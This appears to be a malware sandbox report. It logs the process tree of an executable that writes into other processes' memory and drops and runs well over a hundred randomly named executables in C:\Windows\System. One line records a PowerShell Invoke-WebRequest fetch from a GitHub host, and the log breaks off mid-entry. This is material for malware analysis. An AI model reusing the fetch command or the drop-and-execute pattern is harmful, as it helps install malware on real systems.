PID 2972 wrote to memory of 3004	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	109
PID 2972 wrote to memory of 3004	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	109
PID 2972 wrote to memory of 676	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	110
PID 2972 wrote to memory of 676	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	110
PID 2972 wrote to memory of 4260	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	111
PID 2972 wrote to memory of 4260	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	111
PID 2972 wrote to memory of 516	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	112
PID 2972 wrote to memory of 516	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	112
PID 2972 wrote to memory of 1196	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	113
PID 2972 wrote to memory of 1196	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	113
PID 2972 wrote to memory of 3908	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	114
PID 2972 wrote to memory of 3908	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	114
PID 2972 wrote to memory of 2644	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	115
PID 2972 wrote to memory of 2644	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	115
PID 2972 wrote to memory of 2104	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	116
PID 2972 wrote to memory of 2104	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	116
PID 2972 wrote to memory of 3304	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	117
PID 2972 wrote to memory of 3304	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	117
PID 2972 wrote to memory of 1240	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	118
PID 2972 wrote to memory of 1240	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	118
PID 2972 wrote to memory of 4180	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	119
PID 2972 wrote to memory of 4180	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	119
PID 2972 wrote to memory of 3500	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	120
PID 2972 wrote to memory of 3500	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	120

C:\Users\Admin\AppData\Local\Temp\1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System\EsTplEm.exe
  C:\Windows\System\EsTplEm.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- C:\Windows\System\OdtNDch.exe
  C:\Windows\System\OdtNDch.exe
  2⤵
  - Executes dropped EXE
  PID:1852
- C:\Windows\System\dUJTuik.exe
  C:\Windows\System\dUJTuik.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\zHMZorL.exe
  C:\Windows\System\zHMZorL.exe
  2⤵
  - Executes dropped EXE
  PID:4072
- C:\Windows\System\pVtgRHy.exe
  C:\Windows\System\pVtgRHy.exe
  2⤵
  - Executes dropped EXE
  PID:4256
- C:\Windows\System\QLysNaQ.exe
  C:\Windows\System\QLysNaQ.exe
  2⤵
  - Executes dropped EXE
  PID:4812
- C:\Windows\System\icsNyMa.exe
  C:\Windows\System\icsNyMa.exe
  2⤵
  - Executes dropped EXE
  PID:4820
- C:\Windows\System\TlDvqmf.exe
  C:\Windows\System\TlDvqmf.exe
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Windows\System\gfZGdWS.exe
  C:\Windows\System\gfZGdWS.exe
  2⤵
  - Executes dropped EXE
  PID:4548
- C:\Windows\System\VnjyZfN.exe
  C:\Windows\System\VnjyZfN.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\kIbLpiF.exe
  C:\Windows\System\kIbLpiF.exe
  2⤵
  - Executes dropped EXE
  PID:1256
- C:\Windows\System\RBJMRQL.exe
  C:\Windows\System\RBJMRQL.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\EyODmqu.exe
  C:\Windows\System\EyODmqu.exe
  2⤵
  - Executes dropped EXE
  PID:4588
- C:\Windows\System\bXexfjS.exe
  C:\Windows\System\bXexfjS.exe
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Windows\System\EXRAKZN.exe
  C:\Windows\System\EXRAKZN.exe
  2⤵
  - Executes dropped EXE
  PID:652
- C:\Windows\System\bUvSIKD.exe
  C:\Windows\System\bUvSIKD.exe
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Windows\System\GwQjAps.exe
  C:\Windows\System\GwQjAps.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\mYrEufs.exe
  C:\Windows\System\mYrEufs.exe
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Windows\System\pHuVthf.exe
  C:\Windows\System\pHuVthf.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\kbwEAQw.exe
  C:\Windows\System\kbwEAQw.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\GfMyOPU.exe
  C:\Windows\System\GfMyOPU.exe
  2⤵
  - Executes dropped EXE
  PID:676
- C:\Windows\System\lJwbMGo.exe
  C:\Windows\System\lJwbMGo.exe
  2⤵
  - Executes dropped EXE
  PID:4260
- C:\Windows\System\rWnuAfS.exe
  C:\Windows\System\rWnuAfS.exe
  2⤵
  - Executes dropped EXE
  PID:516
- C:\Windows\System\izYFpLC.exe
  C:\Windows\System\izYFpLC.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\bcDakYk.exe
  C:\Windows\System\bcDakYk.exe
  2⤵
  - Executes dropped EXE
  PID:3908
- C:\Windows\System\MIyDqku.exe
  C:\Windows\System\MIyDqku.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\TdhJzzo.exe
  C:\Windows\System\TdhJzzo.exe
  2⤵
  - Executes dropped EXE
  PID:2104
- C:\Windows\System\fYhsIEZ.exe
  C:\Windows\System\fYhsIEZ.exe
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Windows\System\ZKPnYOA.exe
  C:\Windows\System\ZKPnYOA.exe
  2⤵
  - Executes dropped EXE
  PID:1240
- C:\Windows\System\NcSCRqs.exe
  C:\Windows\System\NcSCRqs.exe
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Windows\System\uROtmyi.exe
  C:\Windows\System\uROtmyi.exe
  2⤵
  - Executes dropped EXE
  PID:3500
- C:\Windows\System\xbpkTkr.exe
  C:\Windows\System\xbpkTkr.exe
  2⤵
  - Executes dropped EXE
  PID:512
- C:\Windows\System\oawpJCe.exe
  C:\Windows\System\oawpJCe.exe
  2⤵
  - Executes dropped EXE
  PID:4640
- C:\Windows\System\ngpyxVU.exe
  C:\Windows\System\ngpyxVU.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\tAFAjQp.exe
  C:\Windows\System\tAFAjQp.exe
  2⤵
  - Executes dropped EXE
  PID:1408
- C:\Windows\System\aDShFXU.exe
  C:\Windows\System\aDShFXU.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\PuRXnPK.exe
  C:\Windows\System\PuRXnPK.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\iwntQlI.exe
  C:\Windows\System\iwntQlI.exe
  2⤵
  - Executes dropped EXE
  PID:4312
- C:\Windows\System\SICwhab.exe
  C:\Windows\System\SICwhab.exe
  2⤵
  - Executes dropped EXE
  PID:4824
- C:\Windows\System\fnSWiET.exe
  C:\Windows\System\fnSWiET.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\twTIlCS.exe
  C:\Windows\System\twTIlCS.exe
  2⤵
  - Executes dropped EXE
  PID:544
- C:\Windows\System\WdkJsNV.exe
  C:\Windows\System\WdkJsNV.exe
  2⤵
  - Executes dropped EXE
  PID:3028
- C:\Windows\System\vCphtYp.exe
  C:\Windows\System\vCphtYp.exe
  2⤵
  - Executes dropped EXE
  PID:756
- C:\Windows\System\AGYLpLK.exe
  C:\Windows\System\AGYLpLK.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\EuOeqLb.exe
  C:\Windows\System\EuOeqLb.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\NPbVeOC.exe
  C:\Windows\System\NPbVeOC.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\IHuqnMQ.exe
  C:\Windows\System\IHuqnMQ.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\ntVqFoH.exe
  C:\Windows\System\ntVqFoH.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\HMrOjBh.exe
  C:\Windows\System\HMrOjBh.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\txFklWT.exe
  C:\Windows\System\txFklWT.exe
  2⤵
  - Executes dropped EXE
  PID:2928
- C:\Windows\System\FlIHXfu.exe
  C:\Windows\System\FlIHXfu.exe
  2⤵
  - Executes dropped EXE
  PID:4428
- C:\Windows\System\yxhjtEo.exe
  C:\Windows\System\yxhjtEo.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\HpVWEPA.exe
  C:\Windows\System\HpVWEPA.exe
  2⤵
  - Executes dropped EXE
  PID:3724
- C:\Windows\System\YoCCjLq.exe
  C:\Windows\System\YoCCjLq.exe
  2⤵
  - Executes dropped EXE
  PID:3600
- C:\Windows\System\JmIZuqd.exe
  C:\Windows\System\JmIZuqd.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\FWgcOvG.exe
  C:\Windows\System\FWgcOvG.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\dMFaSnI.exe
  C:\Windows\System\dMFaSnI.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\vkzSJRd.exe
  C:\Windows\System\vkzSJRd.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\wJqXfUn.exe
  C:\Windows\System\wJqXfUn.exe
  2⤵
  - Executes dropped EXE
  PID:2244
- C:\Windows\System\WkoOudo.exe
  C:\Windows\System\WkoOudo.exe
  2⤵
  - Executes dropped EXE
  PID:1032
- C:\Windows\System\YwgiMSy.exe
  C:\Windows\System\YwgiMSy.exe
  2⤵
  - Executes dropped EXE
  PID:212
- C:\Windows\System\CJlGUqX.exe
  C:\Windows\System\CJlGUqX.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\jwOMbaD.exe
  C:\Windows\System\jwOMbaD.exe
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\System\QAsegzq.exe
  C:\Windows\System\QAsegzq.exe
  2⤵
  - Executes dropped EXE
  PID:3356
- C:\Windows\System\YWSSkVV.exe
  C:\Windows\System\YWSSkVV.exe
  2⤵
  PID:3460
- C:\Windows\System\zYizylg.exe
  C:\Windows\System\zYizylg.exe
  2⤵
  PID:5128
- C:\Windows\System\IJFetDw.exe
  C:\Windows\System\IJFetDw.exe
  2⤵
  PID:5160
- C:\Windows\System\pzgqBuS.exe
  C:\Windows\System\pzgqBuS.exe
  2⤵
  PID:5200
- C:\Windows\System\dsMKtko.exe
  C:\Windows\System\dsMKtko.exe
  2⤵
  PID:5228
- C:\Windows\System\gxIvveI.exe
  C:\Windows\System\gxIvveI.exe
  2⤵
  PID:5252
- C:\Windows\System\eIgaWga.exe
  C:\Windows\System\eIgaWga.exe
  2⤵
  PID:5272
- C:\Windows\System\NEjAbti.exe
  C:\Windows\System\NEjAbti.exe
  2⤵
  PID:5292
- C:\Windows\System\xzTvylv.exe
  C:\Windows\System\xzTvylv.exe
  2⤵
  PID:5316
- C:\Windows\System\fMaBjSh.exe
  C:\Windows\System\fMaBjSh.exe
  2⤵
  PID:5332
- C:\Windows\System\AkhWnDy.exe
  C:\Windows\System\AkhWnDy.exe
  2⤵
  PID:5364
- C:\Windows\System\owgCfXH.exe
  C:\Windows\System\owgCfXH.exe
  2⤵
  PID:5480
- C:\Windows\System\oYBiEaT.exe
  C:\Windows\System\oYBiEaT.exe
  2⤵
  PID:5496
- C:\Windows\System\GFCqyUP.exe
  C:\Windows\System\GFCqyUP.exe
  2⤵
  PID:5516
- C:\Windows\System\WSCDqZk.exe
  C:\Windows\System\WSCDqZk.exe
  2⤵
  PID:5536
- C:\Windows\System\NInEKqO.exe
  C:\Windows\System\NInEKqO.exe
  2⤵
  PID:5552
- C:\Windows\System\oEBiQAH.exe
  C:\Windows\System\oEBiQAH.exe
  2⤵
  PID:5572
- C:\Windows\System\baNrYGS.exe
  C:\Windows\System\baNrYGS.exe
  2⤵
  PID:5600
- C:\Windows\System\XnMvNQZ.exe
  C:\Windows\System\XnMvNQZ.exe
  2⤵
  PID:5616
- C:\Windows\System\uSMkgLV.exe
  C:\Windows\System\uSMkgLV.exe
  2⤵
  PID:5632
- C:\Windows\System\RAXoNmr.exe
  C:\Windows\System\RAXoNmr.exe
  2⤵
  PID:5656
- C:\Windows\System\rVgLLgR.exe
  C:\Windows\System\rVgLLgR.exe
  2⤵
  PID:5676
- C:\Windows\System\llLRuXQ.exe
  C:\Windows\System\llLRuXQ.exe
  2⤵
  PID:5696
- C:\Windows\System\dLBAFpZ.exe
  C:\Windows\System\dLBAFpZ.exe
  2⤵
  PID:5716
- C:\Windows\System\rfwtLeT.exe
  C:\Windows\System\rfwtLeT.exe
  2⤵
  PID:5740
- C:\Windows\System\oZXxEGy.exe
  C:\Windows\System\oZXxEGy.exe
  2⤵
  PID:5756
- C:\Windows\System\VocmtEW.exe
  C:\Windows\System\VocmtEW.exe
  2⤵
  PID:5784
- C:\Windows\System\kSWEUlD.exe
  C:\Windows\System\kSWEUlD.exe
  2⤵
  PID:5800
- C:\Windows\System\aSHUtds.exe
  C:\Windows\System\aSHUtds.exe
  2⤵
  PID:5844
- C:\Windows\System\MJVWhuX.exe
  C:\Windows\System\MJVWhuX.exe
  2⤵
  PID:5864
- C:\Windows\System\Oryobov.exe
  C:\Windows\System\Oryobov.exe
  2⤵
  PID:5884
- C:\Windows\System\aAlXTib.exe
  C:\Windows\System\aAlXTib.exe
  2⤵
  PID:5912
- C:\Windows\System\iOpcDtA.exe
  C:\Windows\System\iOpcDtA.exe
  2⤵
  PID:5928
- C:\Windows\System\iGWUoGH.exe
  C:\Windows\System\iGWUoGH.exe
  2⤵
  PID:5952
- C:\Windows\System\rfdcOdi.exe
  C:\Windows\System\rfdcOdi.exe
  2⤵
  PID:5968
- C:\Windows\System\xgkuFlD.exe
  C:\Windows\System\xgkuFlD.exe
  2⤵
  PID:5996
- C:\Windows\System\cKucRiq.exe
  C:\Windows\System\cKucRiq.exe
  2⤵
  PID:6024
- C:\Windows\System\EvTxVQT.exe
  C:\Windows\System\EvTxVQT.exe
  2⤵
  PID:6040
- C:\Windows\System\NUXHHjQ.exe
  C:\Windows\System\NUXHHjQ.exe
  2⤵
  PID:6068
- C:\Windows\System\BIWILmu.exe
  C:\Windows\System\BIWILmu.exe
  2⤵
  PID:6092
- C:\Windows\System\urhfIGU.exe
  C:\Windows\System\urhfIGU.exe
  2⤵
  PID:6116
- C:\Windows\System\uflXJdc.exe
  C:\Windows\System\uflXJdc.exe
  2⤵
  PID:6132
- C:\Windows\System\lCYyJDF.exe
  C:\Windows\System\lCYyJDF.exe
  2⤵
  PID:4968
- C:\Windows\System\rVgjozD.exe
  C:\Windows\System\rVgjozD.exe
  2⤵
  PID:3228
- C:\Windows\System\zjhfVzV.exe
  C:\Windows\System\zjhfVzV.exe
  2⤵
  PID:3348
- C:\Windows\System\hxAxGEd.exe
  C:\Windows\System\hxAxGEd.exe
  2⤵
  PID:2128
- C:\Windows\System\wNKFXvP.exe
  C:\Windows\System\wNKFXvP.exe
  2⤵
  PID:404
- C:\Windows\System\yJGzBjk.exe
  C:\Windows\System\yJGzBjk.exe
  2⤵
  PID:1144
- C:\Windows\System\IaLtmHM.exe
  C:\Windows\System\IaLtmHM.exe
  2⤵
  PID:1848
- C:\Windows\System\SazRHla.exe
  C:\Windows\System\SazRHla.exe
  2⤵
  PID:2796
- C:\Windows\System\qJCvzFc.exe
  C:\Windows\System\qJCvzFc.exe
  2⤵
  PID:5124
- C:\Windows\System\CmwHAOl.exe
  C:\Windows\System\CmwHAOl.exe
  2⤵
  PID:5176
- C:\Windows\System\UWmHlcu.exe
  C:\Windows\System\UWmHlcu.exe
  2⤵
  PID:1696
- C:\Windows\System\UlFHMAe.exe
  C:\Windows\System\UlFHMAe.exe
  2⤵
  PID:2484
- C:\Windows\System\UVYjmzM.exe
  C:\Windows\System\UVYjmzM.exe
  2⤵
  PID:1392
- C:\Windows\System\PmdQWRp.exe
  C:\Windows\System\PmdQWRp.exe
  2⤵
  PID:4320
- C:\Windows\System\lyzYOOA.exe
  C:\Windows\System\lyzYOOA.exe
  2⤵
  PID:2916
- C:\Windows\System\IaCLxpk.exe
  C:\Windows\System\IaCLxpk.exe
  2⤵
  PID:776
- C:\Windows\System\jNTjrLc.exe
  C:\Windows\System\jNTjrLc.exe
  2⤵
  PID:2612
- C:\Windows\System\sePEDkn.exe
  C:\Windows\System\sePEDkn.exe
  2⤵
  PID:4648
- C:\Windows\System\oHMRGsT.exe
  C:\Windows\System\oHMRGsT.exe
  2⤵
  PID:6052
- C:\Windows\System\dqdsNfn.exe
  C:\Windows\System\dqdsNfn.exe
  2⤵
  PID:6164
- C:\Windows\System\WzIAvon.exe
  C:\Windows\System\WzIAvon.exe
  2⤵
  PID:6184
- C:\Windows\System\HKtcWHZ.exe
  C:\Windows\System\HKtcWHZ.exe
  2⤵
  PID:6224
- C:\Windows\System\FbKJWLv.exe
  C:\Windows\System\FbKJWLv.exe
  2⤵
  PID:6240
- C:\Windows\System\aVyzpYY.exe
  C:\Windows\System\aVyzpYY.exe
  2⤵
  PID:6264
- C:\Windows\System\yjQoIYW.exe
  C:\Windows\System\yjQoIYW.exe
  2⤵
  PID:6284
- C:\Windows\System\bGWfoGj.exe
  C:\Windows\System\bGWfoGj.exe
  2⤵
  PID:6300
- C:\Windows\System\SdCemAC.exe
  C:\Windows\System\SdCemAC.exe
  2⤵
  PID:6344
- C:\Windows\System\krgPXXT.exe
  C:\Windows\System\krgPXXT.exe
  2⤵
  PID:6364
- C:\Windows\System\pcGgZGN.exe
  C:\Windows\System\pcGgZGN.exe
  2⤵
  PID:6384
- C:\Windows\System\OYXHMQf.exe
  C:\Windows\System\OYXHMQf.exe
  2⤵
  PID:6400
- C:\Windows\System\yKOZWdH.exe
  C:\Windows\System\yKOZWdH.exe
  2⤵
  PID:6424
- C:\Windows\System\QntDaAu.exe
  C:\Windows\System\QntDaAu.exe
  2⤵
  PID:6452
- C:\Windows\System\whJXVYp.exe
  C:\Windows\System\whJXVYp.exe
  2⤵
  PID:6468
- C:\Windows\System\SCEUcLz.exe
  C:\Windows\System\SCEUcLz.exe
  2⤵
  PID:6488
- C:\Windows\System\unMRPZt.exe
  C:\Windows\System\unMRPZt.exe
  2⤵
  PID:6508
- C:\Windows\System\innBDWk.exe
  C:\Windows\System\innBDWk.exe
  2⤵
  PID:6540
- C:\Windows\System\tyByBfT.exe
  C:\Windows\System\tyByBfT.exe
  2⤵
  PID:6564
- C:\Windows\System\ZBaMrmp.exe
  C:\Windows\System\ZBaMrmp.exe
  2⤵
  PID:6584
- C:\Windows\System\SvTySdG.exe
  C:\Windows\System\SvTySdG.exe
  2⤵
  PID:6604
- C:\Windows\System\mRatiNF.exe
  C:\Windows\System\mRatiNF.exe
  2⤵
  PID:6620
- C:\Windows\System\HumRhCT.exe
  C:\Windows\System\HumRhCT.exe
  2⤵
  PID:6644
- C:\Windows\System\sueNpsq.exe
  C:\Windows\System\sueNpsq.exe
  2⤵
  PID:6668
- C:\Windows\System\zGlwIQk.exe
  C:\Windows\System\zGlwIQk.exe
  2⤵
  PID:6692
- C:\Windows\System\xIqEfIx.exe
  C:\Windows\System\xIqEfIx.exe
  2⤵
  PID:6708
- C:\Windows\System\onchKYd.exe
  C:\Windows\System\onchKYd.exe
  2⤵
  PID:6732
- C:\Windows\System\GitVxyg.exe
  C:\Windows\System\GitVxyg.exe
  2⤵
  PID:6752
- C:\Windows\System\LFmZEeA.exe
  C:\Windows\System\LFmZEeA.exe
  2⤵
  PID:6768
- C:\Windows\System\WrXtHsz.exe
  C:\Windows\System\WrXtHsz.exe
  2⤵
  PID:6788
- C:\Windows\System\GIOGDMF.exe
  C:\Windows\System\GIOGDMF.exe
  2⤵
  PID:6808
- C:\Windows\System\RgVxmNY.exe
  C:\Windows\System\RgVxmNY.exe
  2⤵
  PID:6832
- C:\Windows\System\YTXASjC.exe
  C:\Windows\System\YTXASjC.exe
  2⤵
  PID:6852
- C:\Windows\System\vKdeUgO.exe
  C:\Windows\System\vKdeUgO.exe
  2⤵
  PID:6872
- C:\Windows\System\zoTFnRz.exe
  C:\Windows\System\zoTFnRz.exe
  2⤵
  PID:6892
- C:\Windows\System\mvcUyoo.exe
  C:\Windows\System\mvcUyoo.exe
  2⤵
  PID:6940
- C:\Windows\System\dJomEyB.exe
  C:\Windows\System\dJomEyB.exe
  2⤵
  PID:6960
- C:\Windows\System\QqCaAtz.exe
  C:\Windows\System\QqCaAtz.exe
  2⤵
  PID:6976
- C:\Windows\System\YQvsBeI.exe
  C:\Windows\System\YQvsBeI.exe
  2⤵
  PID:5812
- C:\Windows\System\WdAoDhQ.exe
  C:\Windows\System\WdAoDhQ.exe
  2⤵
  PID:5944
- C:\Windows\System\bEhTMUf.exe
  C:\Windows\System\bEhTMUf.exe
  2⤵
  PID:2692
- C:\Windows\System\WDBVooi.exe
  C:\Windows\System\WDBVooi.exe
  2⤵
  PID:6032
- C:\Windows\System\BTxzKBA.exe
  C:\Windows\System\BTxzKBA.exe
  2⤵
  PID:6204
- C:\Windows\System\EDZNdRz.exe
  C:\Windows\System\EDZNdRz.exe
  2⤵
  PID:5936
- C:\Windows\System\XGNHgPO.exe
  C:\Windows\System\XGNHgPO.exe
  2⤵
  PID:5976
- C:\Windows\System\rfdAlVY.exe
  C:\Windows\System\rfdAlVY.exe
  2⤵
  PID:6084
- C:\Windows\System\hoqCJmS.exe
  C:\Windows\System\hoqCJmS.exe
  2⤵
  PID:6124
- C:\Windows\System\JkUgGLo.exe
  C:\Windows\System\JkUgGLo.exe
  2⤵
  PID:4424
- C:\Windows\System\JZXbniw.exe
  C:\Windows\System\JZXbniw.exe
  2⤵
  PID:1272
- C:\Windows\System\lbBFobr.exe
  C:\Windows\System\lbBFobr.exe
  2⤵
  PID:4616
- C:\Windows\System\FuHxBve.exe
  C:\Windows\System\FuHxBve.exe
  2⤵
  PID:2292
- C:\Windows\System\LUrXZdl.exe
  C:\Windows\System\LUrXZdl.exe
  2⤵
  PID:3248
- C:\Windows\System\MLolvCK.exe
  C:\Windows\System\MLolvCK.exe
  2⤵
  PID:6172
- C:\Windows\System\IYfIhYF.exe
  C:\Windows\System\IYfIhYF.exe
  2⤵
  PID:6232
- C:\Windows\System\RmXRjWD.exe
  C:\Windows\System\RmXRjWD.exe
  2⤵
  PID:6280
- C:\Windows\System\mAgocel.exe
  C:\Windows\System\mAgocel.exe
  2⤵
  PID:6336
- C:\Windows\System\OdNLlAR.exe
  C:\Windows\System\OdNLlAR.exe
  2⤵
  PID:6476
- C:\Windows\System\xOxMwXF.exe
  C:\Windows\System\xOxMwXF.exe
  2⤵
  PID:6628
- C:\Windows\System\OnydTxO.exe
  C:\Windows\System\OnydTxO.exe
  2⤵
  PID:6900
- C:\Windows\System\HPFaHyx.exe
  C:\Windows\System\HPFaHyx.exe
  2⤵
  PID:6356
- C:\Windows\System\ysCuQeb.exe
  C:\Windows\System\ysCuQeb.exe
  2⤵
  PID:6464
- C:\Windows\System\ntQPuto.exe
  C:\Windows\System\ntQPuto.exe
  2⤵
  PID:6600
- C:\Windows\System\lCjaHdl.exe
  C:\Windows\System\lCjaHdl.exe
  2⤵
  PID:6704
- C:\Windows\System\JXirqwS.exe
  C:\Windows\System\JXirqwS.exe
  2⤵
  PID:6784
- C:\Windows\System\KDDeLOx.exe
  C:\Windows\System\KDDeLOx.exe
  2⤵
  PID:6932
- C:\Windows\System\ErmfpKj.exe
  C:\Windows\System\ErmfpKj.exe
  2⤵
  PID:6412
- C:\Windows\System\EGzJire.exe
  C:\Windows\System\EGzJire.exe
  2⤵
  PID:7020
- C:\Windows\System\rJNoUfZ.exe
  C:\Windows\System\rJNoUfZ.exe
  2⤵
  PID:7192
- C:\Windows\System\hoLkZzz.exe
  C:\Windows\System\hoLkZzz.exe
  2⤵
  PID:7216
- C:\Windows\System\bUilYIx.exe
  C:\Windows\System\bUilYIx.exe
  2⤵
  PID:7240
- C:\Windows\System\tSGIoRN.exe
  C:\Windows\System\tSGIoRN.exe
  2⤵
  PID:7260
- C:\Windows\System\xVkZREU.exe
  C:\Windows\System\xVkZREU.exe
  2⤵
  PID:7684
- C:\Windows\System\yDPYTZi.exe
  C:\Windows\System\yDPYTZi.exe
  2⤵
  PID:7700
- C:\Windows\System\MIUHdyR.exe
  C:\Windows\System\MIUHdyR.exe
  2⤵
  PID:7716
- C:\Windows\System\RvgaehH.exe
  C:\Windows\System\RvgaehH.exe
  2⤵
  PID:7732
- C:\Windows\System\siNFdKU.exe
  C:\Windows\System\siNFdKU.exe
  2⤵
  PID:7748
- C:\Windows\System\DVuHrTG.exe
  C:\Windows\System\DVuHrTG.exe
  2⤵
  PID:7764
- C:\Windows\System\HgfLgZh.exe
  C:\Windows\System\HgfLgZh.exe
  2⤵
  PID:7780
- C:\Windows\System\BQxKrgF.exe
  C:\Windows\System\BQxKrgF.exe
  2⤵
  PID:7796
- C:\Windows\System\QFwvakl.exe
  C:\Windows\System\QFwvakl.exe
  2⤵
  PID:7812
- C:\Windows\System\fUSdtIR.exe
  C:\Windows\System\fUSdtIR.exe
  2⤵
  PID:7832
- C:\Windows\System\KtxXaWX.exe
  C:\Windows\System\KtxXaWX.exe
  2⤵
  PID:7852
- C:\Windows\System\XJEeWvu.exe
  C:\Windows\System\XJEeWvu.exe
  2⤵
  PID:7868
- C:\Windows\System\HkIfhmJ.exe
  C:\Windows\System\HkIfhmJ.exe
  2⤵
  PID:7888
- C:\Windows\System\NGTuqLX.exe
  C:\Windows\System\NGTuqLX.exe
  2⤵
  PID:7912
- C:\Windows\System\AXzZlzy.exe
  C:\Windows\System\AXzZlzy.exe
  2⤵
  PID:7936
- C:\Windows\System\ZSrxFLL.exe
  C:\Windows\System\ZSrxFLL.exe
  2⤵
  PID:7956
- C:\Windows\System\rYhqBzt.exe
  C:\Windows\System\rYhqBzt.exe
  2⤵
  PID:7980
- C:\Windows\System\iiSbWna.exe
  C:\Windows\System\iiSbWna.exe
  2⤵
  PID:8000
- C:\Windows\System\nLImSOQ.exe
  C:\Windows\System\nLImSOQ.exe
  2⤵
  PID:8024
- C:\Windows\System\vtGyVvU.exe
  C:\Windows\System\vtGyVvU.exe
  2⤵
  PID:8048
- C:\Windows\System\puQlSPl.exe
  C:\Windows\System\puQlSPl.exe
  2⤵
  PID:8064
- C:\Windows\System\YrOmzjJ.exe
  C:\Windows\System\YrOmzjJ.exe
  2⤵
  PID:8084
- C:\Windows\System\vrzopOq.exe
  C:\Windows\System\vrzopOq.exe
  2⤵
  PID:8104
- C:\Windows\System\QzgsNNR.exe
